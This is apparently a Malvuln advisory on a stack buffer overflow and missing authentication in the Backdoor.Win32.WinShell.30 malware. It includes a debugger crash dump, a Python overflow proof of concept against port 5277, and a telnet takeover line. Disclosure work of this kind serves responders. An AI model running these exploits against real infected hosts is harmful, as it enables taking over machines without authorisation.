Backdoor.Win32.WinShell.30 malware suffers from remote stack buffer overflow and missing authentication vulnerabilities.
6b603f2efdd114008cbac8105f5cc6f7Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/56a2b135c8d35561ea5b04694155eb77.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.WinShell.30
Vulnerability: Remote Stack Buffer Overflow / Missing Authentication
Description: WinShell.30 listens on TCP port 5277 for commands. Attackers or responders who can reach the infected host can trigger a buffer overflow by sending a large string of junk characters in place of an expected command. This will overwrite EIP and potentially allow control of the malwares execution flow. Moreover, WinShell.30 also lacks any type of authentication for inbound connections, which can allow anyone to take over the infected system.
Type: PE32
MD5: 56a2b135c8d35561ea5b04694155eb77
Vuln ID: MVID-2021-0040
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/20/2021
Memory Dump:
(1c98.1010): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=02621428 ebp=02621448 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe
FAULTING_IP:
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+1703
00401703 88843d00ffffff mov byte ptr [ebp+edi-100h],al
EXCEPTION_RECORD: 0271f7bc -- (.exr 0x271f7bc)
ExceptionAddress: 00401703 (Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+0x00001703)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 02720000
Attempt to write to address 02720000
PROCESS_NAME: Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+1703
00401703 88843d00ffffff mov byte ptr [ebp+edi-100h],al
FAILED_INSTRUCTION_ADDRESS:
+1703
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0271f80c -- (.cxr 0x271f80c)
eax=ffffff41 ebx=000001ec ecx=e9eec411 edx=00000000 esi=000001ec edi=00000180
eip=00401703 esp=0271fc6c ebp=0271ff80 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+0x1703:
00401703 88843d00ffffff mov byte ptr [ebp+edi-100h],al ss:002b:02720000=??
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 41414141 to 00401703
FRAME_ONE_INVALID: 1
STACK_TEXT:
0271fc6c 00401703 backdoor_win32_winshell_30+0x1703
0271ff88 41414141 unknown!printable+0x0
0271ff8c 41414141 unknown!printable+0x0
0271ff90 41414141 unknown!printable+0x0
0271ff94 41414141 unknown!printable+0x0
0271ff98 41414141 unknown!printable+0x0
0271ff9c 41414141 unknown!printable+0x0
0271ffa0 41414141 unknown!printable+0x0
0271ffa4 41414141 unknown!printable+0x0
0271ffa8 41414141 unknown!printable+0x0
0271ffac 41414141 unknown!printable+0x0
0271ffb0 41414141 unknown!printable+0x0
0271ffb4 41414141 unknown!printable+0x0
0271ffb8 41414141 unknown!printable+0x0
0271ffbc 41414141 unknown!printable+0x0
0271ffc0 41414141 unknown!printable+0x0
0271ffc4 41414141 unknown!printable+0x0
0271ffc8 41414141 unknown!printable+0x0
0271ffcc 41414141 unknown!printable+0x0
0271ffd0 41414141 unknown!printable+0x0
0271ffd4 41414141 unknown!printable+0x0
0271ffd8 41414141 unknown!printable+0x0
0271ffdc 41414141 unknown!printable+0x0
0271ffe0 41414141 unknown!printable+0x0
0271ffe4 41414141 unknown!printable+0x0
0271ffe8 41414141 unknown!printable+0x0
0271ffec 41414141 unknown!printable+0x0
0271fff0 41414141 unknown!printable+0x0
0271fff4 41414141 unknown!printable+0x0
0271fff8 41414141 unknown!printable+0x0
0271fffc 41414141 unknown!printable+0x0
02720000 41414141 unknown!printable+0x0
STACK_COMMAND: .cxr 000000000271F80C ; kb ; dds 271fc6c ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: backdoor_win32_winshell_30+1703
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77
IMAGE_NAME: Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 3bfa9e51
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_winshell_30+1703
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe!Unknown
Exploit/PoC-1:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=5277
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PBARBAR = "A"*1875+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PBARBAR)
s.close()
print("Backdoor.Win32.WinShell.30 / Remote Stack Buffer Overflow");
print("MD5: 56a2b135c8d35561ea5b04694155eb77");
print("By Malvuln");
if __name__=="__main__":
doit()
Exploit/PoC-2:
TELNET x.x.x.x 5277
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